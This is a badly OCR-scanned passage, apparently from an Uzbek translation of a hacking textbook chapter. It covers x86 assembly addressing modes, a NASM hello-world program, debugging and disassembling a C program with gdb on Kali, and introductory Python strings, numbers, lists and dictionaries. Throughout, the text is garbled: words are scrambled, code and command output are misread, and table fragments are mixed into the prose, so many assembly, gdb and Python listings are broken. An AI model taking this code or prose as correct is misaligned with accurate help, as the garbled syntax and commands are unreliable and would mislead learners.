niladi. Bu usul eskirgan {; 32bitli ilovalar uchun }er:g n;-:;gs e slloi
larda qﬂ‘]];1b-qm'vmllﬂl"?_‘g;m-lizim|ari va ilovalari uc mnkemk[i} SR At
i g ﬁhm[h I ir{n-'larini bajarish ustullﬂr; vzlar Yomyu?mnda .
111|:1Ih qilinml.lli. :l‘tilf,n;:k;dmi“ﬂsus ot sk payion .

Sozlash usullari she , ma:

shi tushunilishi kerak.

Tizim chagiruvlari

rejimlari (Addressing Modes)

i vjud. Xu-
i bajari ywun turli usullar ma . :
i1 4q biror operatsiyan bajarish uf‘lf e
Assembler lﬂi(.fﬂr 1rl‘*.tqiy‘1 gilinadigan 'ni?:'-l;{'-l Y CLh ettt b ool
i mawgurﬁ :varianllar manzilni kKo
Necha usullari mavjud.

o “e" bilan boshlanadigan registrlar
Es ln.ebllan._
Y2 2.5-jadvalda uﬂllll'"m*‘hﬁrilg‘an' e ]iﬁrlar esa 64bitli (8 bayt).
= Vi

Manzilni ko*rsatish

; A Janadigan reg
32bitli (4 bayt), “r’" bilan bosh 2.5-jadval.
Manzillash rejimlari NASM
; misollari
B Tavsif
Manzillash o ;in bo'lgan
rejimlari ishi mumkin

— nipulyatsiya qilin Xotira bilan o‘zaro | mov rbx, rdx

o'z ichiga Ol T hamda borli- [ add al, ch

Registrlar ma
ma’ lumotlarm!

i reglrstr
Register loga yo'd: Ikkald

a
shi kerak.
h""""--._____________

B T —



Manba operandi ragamli giymardir, o'nlik sanoq sise-
Tezkor g s L alh o
£ masi gabul qilingan; o'n oltilik ragamlar Wzimi uchun h
(Immediate) dan foydalaning,
I~ bevosita Birinchi operand munipulyalsi}'u qilinadigan Xolira
(Direct) manzilidir. Qavslar bifan belgilangan,
bilvosita (indirect) Birinchi operand hnshq.'::i!udigan manzilni o'y ichiga
Register olgan qavs ichidagi registrdir.
Nisbi Manfpu!ynlsiyu uchun samaryli manzil ebx yoki chp va
Ty ofset giymati Yordamida hisoblanad;,
Indekslangan “Nisbiy asos™ bilan bir xij, lekin edi vy esi ofsetn; sag-
nishiy lash uchun ishlatiladi,
Asoslangan Samarali mangi| Asoslanpan nisbiy vy illdl:k.t;]:mgan
indekslangan nisbiy | nishiy rejimlarni birlashtirish orgali aniglanad;
I______———______-

stek hajmini baytlarda ko‘rsatadi.
* .data: daa direktivasj |

e’lon gilingan 0°zgaruvchilar

garuvchilar aniglanagj.

Lahumtori}'a ishi 2.8.
Quyidagi 64 bitli assembler dasqyri ekranda “Salom, haxor!™
saladi:

thali kali)- [~/GHI lﬁ-i'f:ﬂlj
8 car hello asm
section .datg SeCting

msg db "Helln, haxor!” Ovg o OUr string i, &

Carriae rettiry
lenegy 5 . msg  length of gur String, § meaps here
section texy mandatory section declaratioy

© export the entry Point to the FLF linker op
global sy i loadery comventionally Fecagnize
v Start as their entry poing
_Stary;

declaration

< oW, write our String to stdowy
< Notice how arguments are logde

d in reverse
mov edy, len : third argument (me.

Ssage lengh)

mov eax, 1234h
mov dx, 301
N |
mov bh, 100
mov[4321h), bh
e et ol il

mov [di], eex
Soee—
mov edx,

20 ebx|

mov ecx,20[esi|

mov ax, [bx|

S |

Isi]+1

elgilaydi va unda
gan va Qilinmagan o*z-

Soddg assembley dastyrj

Natijasini ko'r-

y witel
’ fo message fo wri
v - second argument (pir
s s * (secfant))
o by, ! j}umfﬁri'.r argument (file htH‘FtﬂL. i50e
s i ; % wrirel
mov cax A 0 svstem call member rJ‘r 5 -j.
it xS0 - call kernel interrapt ane ‘.:, ——
mov ehyx. 0 ; load first svscall argumen .”_”
vl ' , =5V EX

s svstem call member (1=35
mov eax, [ osvstem Lfl e
it 080 call kernel interrupt and e

' it kodig tirishdir (misol
i birinchi gadam assemblerni obyekt kodiga aylantiris
Yigishdagi birinc
32 bitli kod):

E-rﬁ.':m' kalii-[~ GHHv6 ch02]
8.

nasm -felfd hello.asm

i Iil :ldié:]n Iﬂ.}"l"i }':ll';l!lsh I.lth!.lI'l bﬂ-.“ IO\CII 1
’»'}’in hH._lq']. & 1 T

I:—-r-{wh‘ kalii-[~ GHHv6 ch02]
$ Id -5 -0 hello hello.o

irishingis kin:
i ishingiz mum
Nil bajariladigan faylni ishga tushir
NThoyat, baj:

thali kali)-{~ GHHvo eh2]
5. hello

Hello, havor! 2 G-jadval.

Umumiy gdb buyruglari

Tasnif
-'_'_‘—-—-_____
Buyrug

ga o' ratadi

| -.
rasini <funksiya-

' ini o*matadi
i \zorat nugtasim 0 ma
ni

b= function>

he

Mutlag xotira joyida

i ko*rsatadi
; mi ko'rsa
o i hagidagi ma lumotla
Tl =
3 ; 1 nuqluhl : :
mlo b Nazor e di ——— =
qtasini olib tashlay dasturning nosozliklarini tuzatishni b

delete by Nazorat nu b dan da

laydi I
- jori ati |
jstrning JOr1Y hol o
na ko' rsatmastit i

Mun <args>

Jumotlami ko*rsatadi

yaqidagi ma

infy reg Reg

Slepi gr 5 Bir mashi

ni bajaradi

A di
- ot IM““ k,u, rsata
L e gl Stack Frame nom ljitadi )
- rug 1 Si _]I
: e hl;-:rini yugoriga va Pasie”
Pdown M




print var

print /x $<reg>
—_— = |
Xx/NTA

' D'zgaruvchining qiymatinj va FERISIr qivmating mos ravishda chop etadi
Xotirani o' rganadi, by
uchun ma’lumotlar turi
char, s; string, i: ko'rsa

“main (asosiy)",
- |

quit Gdb dasturidan chigish

yerda N = ko*rsatil
(x: hex, d- dec); va
ima

adigan birliklar soni; T = ko*rsatish
A= mutlag manzil (x: hex, d: dece. ¢
) va A = mutlag mangij Yoki ramziy nom, masalan.

gdb yordamida deba

Unix tizimlarida ¢ dasturlash uchyp ishlatiIadigan aso0siy nosozliklarni tu-

zatish vositasi —gdl hisoblanadi. gy vosita kuchl; buyruq satri interfeysini tag-

dim etadi, by i “Orat ostida boshqarish mumkin.
Masalan, dastyr bajarilish; 1 i

nuqtalari) o*rnatish
Sh imkonini beradi.
‘Ositalarj dasturchilar vg xakerlar
r. Agar kKimdir Linuxda grafik interfeys orqali
» ddd va eqp kabi alternativalgy Yoki kengayt-

ginglash ( noso

zliklarnj tuzatish)

Shuning uchungdb kab; nosozlik
uchun nihoyatda Qadrli vositadi
nosozliklarni tuzatishp; xohlasa
malar mavjud,

Gdb b

Gdb da tez-tez ishlatiiadigan

ilan ishlash asoslari
langan,

buyruglar 2.6-jadvaldg keltirilgan yq lavsif-

Lahnraturiya ishi 2,9.

Ranar ; 7 debaginglag, jarayonj
Namuna dasturimizn; nosozliklarn; tuzatish qilish uchun avva) Kg); misolin-
gizda gdb pj 0'rnating:

fhkafi kali)-f ~GHHv6/, hil2}

8 suido apt-get updare

Ger:j h-‘-‘p.'.'?#a.".f.r.-’m:'ﬂ.’uﬂ:.l’.»‘ha.":' kali-
- Iruncated for brevipy,,

Reading Package lists.. Dope
fkali Ketli)-f~ 'GHHV&’:'M.?}
8 sudo apy install gdf
Reading Package ligs
~Iruncated for by,

i,
Do you wang 10 e

ontinue? [ Yinj y
Ger: |/ http:/ikali. downloads}
231912819 kB]

lruncated for brevipy

rolling nRelegye {30.5 ki)

. Done

ali kah’-m!ﬁng—‘mam amdé4 libe6-i386 amdé4

6i)

T kin. Birinchi buy-
- larni bajarish mum _.
e 1[-wI;;I:IluiI;mini (debug symbols) va boshqa

Ushbu jaravon da\'ﬂlﬂlfiﬂ qu}i ». .
ruq, meer dasturini 11(*5111!'L’j1‘:'1 lean holda gayta tuzadi:
fovdali parametrlarni 0°z ichiga olg

fino-stack-profecior -0 mect meel.c
-frig-$

5

thali kalit-{~ GHHEv6 LIML-{K' boundarv=+4
l::.t’rr -pgdh -m::r'a.:lfi'rrm’*-'-"'”: 3l

tkali kalis-[~ GHIG ch02]
:;.:;H: -if mect
Reading symbols from meet...
fedby run 1337 Haxor
Starting program: home
Hello 1337 Haxor
Bye 1337 Haxor o
J'rllfﬂ,.fﬂ'r'rir I rprocess 174170 ¢
fedby b main
Breakpoint | ar 0x33335335:
fgdh) run 1337 Haxor kali/GH
Starting program: hr?"“l I~T o g
Breakpoin 1. main targe "I:; _‘.' call function, pé:
Hi greetingtargv(l]. argv[2]):
feeb) n
Hello 1337 Havor )
H printfi"Bye “as %os'n
felh) n
Byve 1337 Havor
120 exir pragram
(gdb) p argvf 1] -
SI = ox7iiiger 19 "1337
fedh) p grovf2 »
‘:}' ;_\.‘;I;;ﬁ;rr ;.JII 7l "Haxo

kali/GHHy6 chi)2meet 1337 Haxor
call

wited normally]

meet.c, ling 1.

wor 1337 Haxor
Hve eh) 2 meet 133

set. oo 0
b S A 88 af meel.c
--I'_].\'.‘ﬁﬁm""t & s;jrfcl'.'\l' name

e r 0 say "!"'_ll-I :
r'l‘l'f.’f. H!'j..'l‘jr-ﬂ'. - I:I! £
- [

2db) p arpe
33 -3

w100
e
(gdb) info b oss What o ain at mee
Num Tipe Disp Enb Address 5lab in

5555553
/ breakpoint keep v *'"_-"m”ﬂi'
breakpoint already hit 111
fgdb) info reg
Feoe Qv
rhx v
ex i)
rely () i
::: i":ik‘:?zﬁ#ﬁ 92a0 93824
<druncared for brevity

dl i SV ;
3" dzi;r;mg session is ut*‘:;; d‘,;,.;gger?{!
Do you still want to close

992252576

or nl _,..'

{ Gl




Laboratoriya ishi 2.10: gdb dasturi yordamida disAssemblerlash

Gdb dasturi bilan qismlarga ajratish uchun quyidagi ikkita buyruq kerak
bo*ladi:

set disassembly-flavor <intel/att>
disassemble <function name>

I:—-I"i'm’!' &‘u.n’:}-f—- 'Gﬂfﬁ'ﬁ%‘hﬂ}f
S gdb -g meer
Reading symbols Jrom meet,
fedh) disassemble Ereeting
Dump of assembler code for
(000000000001 1 45 < {)
UxO000000000001 146 <+ | Fmov Yrgp, Yorbp
ﬂ_ﬁjf}."ﬁ'{]f}f}ﬂi’}fmr}f)H'fﬂ I sub ."‘fm'fn."j_%_--,m
OxO000000000001 1 50 < + 1H>: moy ‘f‘f:;rdi.—&\'Iﬂ#f%’m‘hp}
G,-rrJfHJ-‘.rﬂﬁf’JfMﬂfMHﬁ? <+ 18> moy '36:'.-;:',-I"J.rm-l'iri"{..rfy:.r
m—nrmnrma&mmmHF.:- <+25>: mov -I‘Ar.’aﬁf?ﬁrhp;,‘?4.;-;{1-
Ox000000000000] 165 « *32>; leg —-I’Jx.n’&'ﬂr'i'ffu'bp.r.‘."é.
n_rr;rmmmnurmﬂm l6c <+30>. mov Zrely, % pei
r,r_rnﬂﬂr’mﬂﬂﬂﬂﬂﬂﬁHﬂj SH2= moy *orax, %rdy
OxO000000000001172 <+ 455 . pan Ox1030 <strepy@piy>
Ax0000000000001177 <+ 350> oq .ge 90 %rbp), Yol
muumrmrmrmmn e <+575: moy -ﬂ_rfg.!f.r%,-f;_;;,- ‘};’,r;n'
f.i.t.'ﬂfmﬂfmﬂﬂﬂﬂﬂf.‘."M‘j 64> moy Yorax, %y I .
n_rf.ar;f!ﬂﬁﬂriﬁf.lﬂﬂwFr‘.i‘r‘i' S+O07>: fan FJ.t:'?_ir%p'er
ﬂxr:rrmrmrmﬂumru 18f <+ 74> oy S0x0, %eqy |
!'J:'l."l".lI"JF‘HHJ‘-I'J{'HJFJI’HHH..’ W <i79>. .. I
FJ_t_'!’.H’J‘WJHHWHHHJHI 199 < -5‘4;".-' :]::: o ﬂf"“”“.’m-." e
m—rmm:fw.*rmmmf 19a <+85~ :leave
F.u'ﬂﬂf.i'ﬂﬂﬁfmﬂﬂﬂﬂﬂﬁb SHSO=:
End of assembjey diump,
fgdb) ser disassembly-figyor intel
(gdb) disassemple greeting

" finction greeting:
= push %rbp

Fiy

Sordi e 2004

146 <+ =, mov rbp ps

ﬂrﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂmHQ SHd= enb rxp{?ﬂ.r .i.rﬂ

g;‘ﬂﬂﬂﬂﬂﬂﬂﬂmﬂm 150 <4 11> mav QWORD PTR [rbp-fix 98], rdi
ﬂﬂﬂﬂﬂﬂﬂﬂrjﬂﬂﬂfﬁ 7 <+18>: mov OWoRnD PTR {r&p-ﬂxmﬂj rsi

' rhp-(lx | al)
OxOO0000000000 1 ] 5e <~ 25>+ mov Hi\'.E:'”. '-';fﬁ 1::' TR [rby /
ONOaOOO0000000 1 163 <+ 32> lea n#:!ri: -
OO e <+ 39> mov rsin

. : i * il rae
OxOOOO0BOGO000 ] 16 < + 42> moy m‘i.nm <strep@pis
(e OOMNONONO0 11 72 < =45 call Ox 1030 <strepiid

Arnneated for brevin...
OXOOON00O000 1 1 9b <+ 86> ret
End of assembler I-'ll'””F'

fedb) quir

“zilari:
Bu yerda eng ko'p ishlatiladigan buyruglardan ba’zi

info functions i
disassemble v < fainretion nane |
cha dinamik bog'langan funksiya-

o *da bar 5 o g
info funksiyalari buyrug'i GDB barcha ichki funksiyalarni ko*rsa

¥ PRV n b(}‘lsﬂ. . .
larni va apar dastur hali to ,\T..]l.lil‘nagﬂ i> opsiyasi bilan disassemblash [qtsnllarga
tish u;.-hunh ishlatiladi. /r <funksiya nomi .E,perandmf va assembler ko‘rsatma-

ent: : ilganda, opkodlar, : ig‘ilgan assembler
dratish) funksiyasi qm‘llﬂr’l”i-‘ﬁmd‘], P -odlar asosan oldindan yig ‘l:g :
lari | ich etiladi. Operatsion kodl2 jarayon protsessorning kodni qan-
|-: d‘m'm “dm;‘}:lh ].:- di shaklida ifodalanadi, bu)
‘0dining mashina ko :
day bajarishini aniq ko*rsatadi. _
sh till asosle™ ltirilgan das
chi, obyekiga yo'naltirilgan das-
inwrprctatsi}*“'“"mCI;'dj:}qula?} Pythondan foydala-
e r ~oy*nls s : i
Python - bu n‘m'hhl.l alari (va boshqa ko pla ‘uda kuchli va sintaksisi tushu-
trlash (jli, Xakerlik vosil =a ishlatish juda nsmi.]j‘ﬁsh bo'liiid Biiiat SEig kikak
ddd . 2 ok ‘a1 + 4 s s
Nadi, chunki uni o "-Ealmsfli ;ﬁnlzlshliradi- Ushbu Siz, albatta, ko*proq bilishni
arli bolib, uni o*qishni :

di. ;o
i qgamrab ola co*plab vaxshi kitoblardan
. . 3 tlarni qa s an ko'pla
©"lgan eng asosiy Iﬂﬂ]h"“]';"}mmﬂﬂﬂ bag‘ishlang
Ohlaysiz va buning uchun -

ijatlarni ko*rib chigi-

- 1001 keng hujjatlarni .
' . wv.python.org snyudgi‘qo‘"':]h_quwatlash magsadida

I:ru'li 0°qishingiz yoki w:; 2020-yil 1-yanvar

SRINgiz mumkin. Python 2.7 =

.+ vaxshi ko'‘radilar va agar
ersiyasini yaxs 3 i
1 hali ham 2.7 \ﬂ’j:; foydalanish yoki ker_xgqyufisﬁ
¢ Wari|d;. Ko'p daslun:h;ml:ni ﬂ.rganish- ulﬂl'] pd 2.7 ni o‘rganishingizni
S1Z mavijud Python loyihalari iz, avva

e i Python loyihalari
: dingiz yangi ;

“hun pyihon o*rganmogcht vaqtda agar B g, chunki u Python 2.7 dagi

ta"’si}'a : . ieaq hozirgl »

qiladilar. Birog

i ratin i 2.7 versiyala-
tibor & o thon 2.6 yoki 2. /
!Stida ishlagh bo'lsa, Python 3 &% . Hozir ham PY ing uchun qaysi versiyadan

. i fela e shuni
®"Plab muammolarni bartard turlar mav) ud
e bog*liq bo*Igan ko*plab -
ru}'dﬂlana}rmganingizﬂi biling:

python dasturla




Python dasturini yuklah olish

Biz sizga odatdagi arxitektura diagrammalari

da keng gamrovli ma’lumotlarga ega bo'lish

download/ saytiga kirib, 0°zingizning operats

yasini yuklab oling, shunda by yerda keltirilgan amallarni bajarishingiz mumkin.

Yoki shunchaki buyruq satrida Python deb yoy; b, unj ishga tushirib ko‘ring — u

ko*plab Linux distributsi yalarida va Mac OS x 10.3 va undan keyingi versiyalari-
da sukut bo‘yicha 0*ratilgan bo'ladj,

va dizayn magsadlari lo*g'risi-
uchun shunchaki www.python.org/
ion tizimingiz uchun Python versi-

macOSs va Kalj foydalanuyehi

MacOS foydalanuvchilari uchun A
foydalanuvchi interfeysini o'z ichiga
lidan yuklab olishingiz mumkin yoki
Pythonni whrirlash vq ishga tushirishni

lari uchun Python tilj
pple Python ning rivojlantiris
olmaydi. Unj wy oyt
Appfu'ning rvajlantirish |
tanlashingi, mumkin,

h uchun qulay bo*lgan IDLE
Argfdow nloadmae man#i-
muhiti bo*lgan Xeode orgali

S ow ey 3 i 2 hll!‘ling uchun IIHI].‘ s thommae.
orgiwikiXeodelntegration manzilidagi kU‘rsu:m.‘:i&rga amal giling, Agar sizda Python o*ma-
tilgan bo'lsa, lekin uni Python 3 ga ilashingi :

belgilashingiz kerak bo'lsa, pyeny y

uchun™ bo*limidagi yaxshi qo*llanma havolasigy

Qarang,

Python ime:]::rclatsiya ili ani ue : siva gilinmay-

di), Python interakijv buyruq satridan f h i oy {k;::.lsgﬁ[:}i: E:i] T::;:i

Kin. Keyingi bir necha sahifada up iz, shuning uchun1 Imz?r d ython
deb yozib, interaktiy buyruq satrin; i« irishingiy, (erak .

Lahnraturiya ishi 2,11 p

Agar sizda Kali 2020.4 bo’lsa, qu

ishga tushirish orqali 3-versjyan qo‘lda

Ython dasturinj
vida kn‘rsatilgan
lhuilashtiriahing

ishga tushirish
dek python3 buyrug*ini
iz kerak bo*Jadi:
kel kalil-{~/GE THv ch 12}
3 pvthon3
Python 3.8.6 (default, Sep
[GCC 1o 2.0/ on linux

Tipe "help* “copvrigh "eredits” o
>35>

25 2029 09:36:53

irpe ] y
license Jor mope nformation

Salom, dunyq!” namunasi
Namuna kodni
*>= print( "Hellg, worldi™)

Hella, world!
-y 5

64

: iv .‘_Lsiya bo*lib, qavslar-
. 2 int (chop etish) rasmiy l”“l ipenmn e s
Rt 'ring, Python 3 da print (¢ ; e , exit() ni Kiriting.
ni mliﬂaliizliilrazti- nﬂn"i:ar [:;vthun qobig"idan chigmogqchi bo*lsangiz, exit()
i tals . Agar Py

Python obyeldias I a’lumotlarni sag-
‘axshi tushunishingiz kerak bo‘lgan asosiy narsa Pyt 1?|n mda e 4
Yaxshi lm.lj.unm]ln: f;:ﬁrdalﬂﬂis'hi mumkin bn'lg:{n har xi mra fmlar At
]aSh- - hnﬁhq;{mh HL:U.I 1 asosiy turini ko'rib chiqamiz: Sa;rlﬂ{-d; gi]ishil':ﬂiz zarur
Ma lunu:-tlumltl% b;-}: rHS ;mnd :;n so'ng, Python va an:;ﬁigi?:a'rganamii
:;]ur: II::L:'; il-lxixl:_-r .::.n?; ma’lumotlar bilan birga asosty sin

atoriva ishi 2.13: SatrIaT Fs'r‘?{,g]dalanishni —
I;ah:rrnmri'}'ada bitta satr ubyekudzr; - ffn}rdalaniladi. o
Siz ullaqacl:um ll#-k:j ; Dnmumi saglash uchun Smr{ﬂrkanligini ko'reatishining
dan 0" tkazgansiz. p}rﬂ_] 2 .dv;i a qilish 'ila“':ha,hk. {,sm}t dalanib amalda ko‘rsa-
ik T‘l mﬁﬁ'?ﬁi&sﬁa Python 3 qobig'idan foy
eng vaxshi usuli - ’ "
tishdir:

== siringl - 'Dilbert’ :
"> string2 = 'Doghert
=== steingl - string?
DilhertDaghert i
> springl + " Asok
Dithert Asok Doghert'
S stringd - siringl
o string3
DitbertDoghertWally' :
B _-.'r.r':'ug.'TJ':-'”j.lF # siring
Ther Jag'

T string3)0)

"y

' |
' _-,';rf”‘l'.'.—

.3+ "Thalh"
: ,-.';r‘HLL': wall

e 2 ((0-based) 10 1
3 from inmdex 2

=== lenistring3) £
1 o index 14 (O-ha
"> Siring f14:]# string3 frot
Waln:

S ,lp,f_a'j”gjf-_‘i,'f it St

'“h.’.‘:r’ . (0-baset
=== stringd find("Wally')
14

ed) 10 end

!
.I"it.l.!.'l-.' -F:_ﬂ' l.-f'l
[

' 18
1) where spring start

el 3
) #-1 ifrot o poghert with Alice

s the hard way

:-\ == string3, find('Alice .o') # Replace
I ’ l'bl".'"'!‘- '.-HILL 4? # _‘Iﬂ."
ot string3.replace('Dog AAAAAA

A
. 5 ;A‘-rl."r"!
DilbertAlice Wally AAAAA
}}}T’;n'u:rf-';Af-!;!.-lzf.-f.-f-'f-*l’4‘414..13.4;4&-1”"'
AAAAAAAAAAAAAAAAAL the easy WO

s 14444
==> print ('4'*30) #jii:.{_ AA.*H-“"'J 65
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: ‘!a!:;h{.?ﬂ Ih}fdalﬂllﬂdigaﬂ aﬂﬁ!\'j}" Sirin‘!__’ !h“l\l.“;i‘h'il'

lard h.a‘n tuu]gamdck sodda va tushunarli. Ta'kidlash
an birt shundaki, ushbu satrlarnin %

: R . satriarning har biri (masalan,

g3) "Ut‘mdﬂd:ﬂas:tgan belgilar to*plamiga ishora giladi.

e . : » Ol salrfar xotirada joylashean L :

sifatida ’. e Joylashgan ko*rsatkichl:

Iushunchqaalﬁjaad,:.bl?% zﬁda bnsihiapg ich dasturchilarni chalkashtirib ;l:';i:‘tll;ll‘:li:
o —— :::FI 5 undak{. bitta ko'rsatkich (yoki yorliq) boshga bir ko- 5

it s -?q';l}i :c;h:l Bl:l Fe_xrtlm tushunisﬁ dasturchilar uchun muhimﬁr :;rh “k"f*‘:'

‘ 4 Xotira boshqaruvi va oplimizatsiya bilan b:mg‘ﬁq‘ Inulf:nllnu“

larni hal qgilishda yordam beradi i
adi. r Fod s
namoyish etadi: Quyidagi kod va 2.1-rasm ushbu konsepsiyani

>>> labell = "Dilber’
>>> label2 = label |

Ushbu bosgichda bizda P 3 i

| _ | ython'da ‘Dilbert’ satrini

mi mavjud. Shuning ira qismiv: 1 saglaydigan xotira to*pla-

ko*rsatkich) mavjuc%d:k!auszplfl xourd gisming k“'m‘“adﬁgﬂﬁ f"i!i'-'ui:I vl PI?,

satr) o*zgartirilsa. ikk; Sev dininchi yorlig ko‘rsatgan magg; ¥  ronts
gartirilsa, ikkinchi yorlig bu 0" zgarishnj 1k*s‘u.u'mdqmdd el s

ahas cllirmavdi:

- contimied from abave }r

=>> labell = 'Doghers

=22 label?

Difherr'

lahel | PO 1o

label2 —POINIS to
T

2. I-rasm. Xotirade bir o Python siring object
- cilz : .

HZigqa ishorg qiluvehi ikkirg label tvortiq)

vorlig

IJ"'[II W .
label | — [¥nts iy SO slring ety

o PYInTs 1o
lihel ——__1__‘ T
\ e
> T

]}GE_*I“_-”'

2.2-
2-rasm. Lapel} (Vorlig) boshga

Gatorga ishora gijj
qavta tayinlanggd; a qilish uchun

2.2-rasmda ko'rib turganingizdek label2 ning o°zi labell ga ishora gilmay-
di. Aksincha, labell gayta tayinlanmaguncha labell ishora qilgan narsaga ishora

qiladi.

Laboratoriya ishi 2.14: Sonlar
Python satrlari kabi, sonlar ham turli xil ragamlarni 0°z u:h]ga olishi mumkin
bo*lgan obyektlarga ishora giladi. Ushbu ma’lumotlar turl kichik sonlardan tortib

katta sonlareacha. murakkab sonlar, manfiy sonlar va baehaa tursiegt Sonlertilo'z
ichiga oladi. Sintaksis kutilganidek, quyidagi ko rinishga ega:
- ”! :_I 8 {1’1"”',;' o _\.""]‘h['f i}]r'-!f-l'{“ “‘.”h -I-“-h“! ﬁ ””{f IJ'”b('.r' i ”1:

5 3 g
>>>nl *n2
/5
>3 ) *% 03 4l o H'h‘lfiﬂ'll'l'f'qf”: P53
125
>>> 5,3 59 3 # Divide 5
fLa66666666GGG666T, 2
#In Pvthon 2.7, the above 573 caleulat
¥ specifving ar least one value as a float.

== n3 - | #ni - 0001 thinary) e
=== pd << 3 # Shift left three times: 1000 hinan
N '
>>> § + 3 %2 # The order of operatict
£l

by 3, then 3 modilis 3

ion would not result in a float without

is is carrect

ranishib, obyektlami birlashtirishni

i1lari bilan F
yillari bl s bo*ladi?

Sonlar g ishlashi tamo
nlar qanday ishlas i bah

OShlashimiz mumkin. Agar satr va so

*>> 5] = ‘abe’

"l =2

I:-'-_‘J-:n_ H] I ]‘||

?‘ﬂh‘huck (most recent call last):
File "<gidin=", line 1, in <module
TypeError: Can't convert 'int obje

} P )
¢l 1o i [naplsc1ll_~,

gimizni tushunishiga yordam
uchun yagona usul 12 ni
iz mumkin:

ckﬂﬂii
hirlashiinsh

: : chi
Error (Xato)! Pythonga nima gilmod sh
lga oshirishim

hu g BT Iz ﬂi
r . atda “abc
Shimiz kerak, Bu holatda "2¢ (ezda ama

=

L8+ sirinl)

-ﬂf}c-f‘?r

3% 5l.re ""',,"F.F.l"'””l
e eplace('c’ str(

{ 67




oddiy harakatlar ko*pincha obyektni 0"zgartirmay
masalan, son, satr yoki boshqa turdagi obyekt, odatda fa
ko'rsatkichini) yangi giymatga 0'zgartirganda o*zgaradi

istalgan turdagi obyektni go*shi i
ruhini kvadrat qavslar ([ i

aglli “slicing™ (bo*laklarga bo-
Misol uchun, label[5:10] ifod

mentgacha bo‘lgan qismin; Qaytaradi,
chiqaylik:

Mantigiy bo‘lsa, har xil turlardan birgalikda foydalanish mumkin:

>>> s1*nl # Display ‘abe’ 12 times
':abmbc'c:-’ar'uhrr;.'.f:mh{-c.ibc-z;bc-u-’:rmbm!m.-h{"

Obyektlar bilan ishlashda bir muhim jihatni yodda tutish kerak: obyekt ustida
di. Python'da obyektning o*zi,
qat uning yorlig*ini (yoki
=>>nl=35

=== nl ** 2 # Display value of 542

25

=>>nl # nl, however ig still set 1o 5

5

=>>nl=nl **2#8Setn| = 542

===nl # Now nl is set 10 25

25

Lahnraturiya ishi 2.15: Ro‘yxat (list)lar
Keyingi ko'rib chigiladigan obyekt turi ro*yxat (list) hisoblanadi. Ro*yxatga
- U odatda obyekt)ar yoki obyektlar gu-
D ytmrqamlda ifodalaydi, Si, ro*yxatlar bilan satrlar kabi
I:s}:} operatsiyalarini amalga oshirishingiz mumkin.
as1 ro'yxatdagi beshinchi elementdan o'ninchi ele-

Keling, ro*yxat tyri Qanday ishlashini ko*rib

»=> mylist =[1,2,3]
=== len(mylist)

3

=== mylist*4 # Display m list, mylis is is
T orrs z_pj_-]_ 2}: 31 mylist, mylist, mylist
=== | inm
True
=>4 in mylist
False

=== mylist[ |
[2,3]

=== higlist = [I'Dilbery, '‘Dogbert’, 'Catbert')
- ["Wally', ‘Alice’, ‘Asok']] # Set i
S5 high’st{l][ﬂ]

"Wally'

ylist # Check for existence of an object

‘1# Return slice of list from index | and on

UP @ two-dimensiong list

5 biglisl[ul[ﬂ

‘Catbert’ i ith 'Ratbert'
»>> higlist] 1] = 'Ratbert’ # Replace the second row with

=22 higlist . -

[I'Dilbert’, "Dogbert’, ‘Catbert'] Rmhmﬂ- = 10 the first row

>>> stacklist = biglist{0] # Set another list

=== slacklist

I'Dilbert, 'Dogbert’, 'Catbert’ I i

== stacklist = stacklist + [ The Boss']

=2 sracklise i

['Dilberr. ‘Dogberr’ ‘Catbert’ TheBoss] =\

> stacklist.pop() # Return and remove

The Boss'

=22 stacklise popl)

"Carbery!

== slacklist. pop()

"Dgrhere

== stacklist

['Dithert'} .y
- stacklist extend(['Alice’
* stacklist oty

'Ditbert’, *alice’, ‘Carol’. 'Tina’l

=== wtacklise reversef)

== stacklist '

['Tina’, ‘Carol’, "Alice", ‘Dilbert f.! » el

>3 del st 'l"”."-'l'f“r # Remove e

=>> staeklist

['Tina’, " Alice' "Dilbert’]

‘Carol', Tina'l)

ment af inglex !

K o barcha ele-
-o'rib chigiladi, so'ngra
lug‘atlar va fayllar gisqacha ko'rib
eyinchalik, lug‘atl

Mentlar birlashtiriladi. lar (Dictionaries)

‘ i indekslar orqgali

iya byektlarni in ‘

Laboratoriyd :n}r.:li ammo uliar ?sgqlash ol
R Ly armi iy — q-

Lug*atlar ru-},xallalrgn Dlﬂy i. Buma Iqmu;uummanm £ 3 owelar orils

“Mas, balki kalitlar orgali Szt.] D calit-giym

dulay mexanizm hisoblanadl. =5=

| : ' - an:
Mida Yaratish mumkin, masalé

shi 2.16: Lug"a!

>>> i = { hera' ! 'ﬂf”"-".rr}
>3 df ‘hero'|

Dilher

- 4 j'ul’.-’
=== thero' in d - oed by ke not va

True ios are indexed ™

> I d # Dictionaries d as keys

=== "Dilhert' in capfs HSE £

. ¢ of all 0b/¢

Falye s a list of @ 4 as values
e, I’ikﬂ?l’.’l'f) H k-:'_'i'SI"-’ nlﬁ'l'ﬂ h’ijﬁcﬂ" HEE

' i afall
di ct_keys([hero']) ) peturns a list of

>3 d values() # values(

‘ iy




o

dict kevst{'Dilhert v/l

>==> df'hera'] = 'Dogherr’

=>4

'hero": "Dagher’}

=== df buddy'] = "Wally'

>>> df'pets'] = 2 # You can store any npe of o
=

{'hero’: 'Dogbert’. buddy": Wally', ‘pers'- 2

bject, not just strings

Keyingi bo'limda lug*atlardan yanada kengroq foydalanamiz, Lug‘atlar ka-
litlar yordamida bog'lanadigan har qanday qiymatlami saqlash uchun samarali
usul bo'lib, ular kalit-giymat juftliklari asosida taghkiy etiladi. Bu usul, ro*yxat

indekslari bilan solishtirganda, nm‘Iumoliarga tezkor va qulay kirishni ta‘'minlay-

di. Lug*atlar kalitlar orqali giymatlami olish imkoniyatini beradi, bu esa ularni
turli xil ma'lumotlar bilan ishlashda va ma’lumotlari samarali tashkil gilishda

qulayroq giladi.

Laboratoriya ishi 2.17. Pythonda fayllar
Fayllarga kirish Python dasturlash tilida boshqa amallar kabi sodilh e it
tarzda amalga oshiriladi, Fayllarni ochish (0°qish yoki yozish maqsadida), yozish,
0°qish va yopish kabi Operatsiyalarni bajarish mumkin. Keling, by }’L‘rdqa ko'rib
chigilgan turli ma’lumot turlaridan, jumladan, fayllardan ﬁ]}’ﬁi‘ﬂﬂﬂiﬁh orgali bir
i !:m‘rih clj.iqay[ik. Ushbu misolda biy largets deb nomlangan .i‘a}'ldnn foy-

magsadli zaiflik fayllariga o*tkazamiz. deb

: » > Oxar ichida kerakli chiziglar ishiatiladi. Ushbu
misolda Python 3 qobig‘idan faylni ajratish : “41qlar ishlatiladi. Us

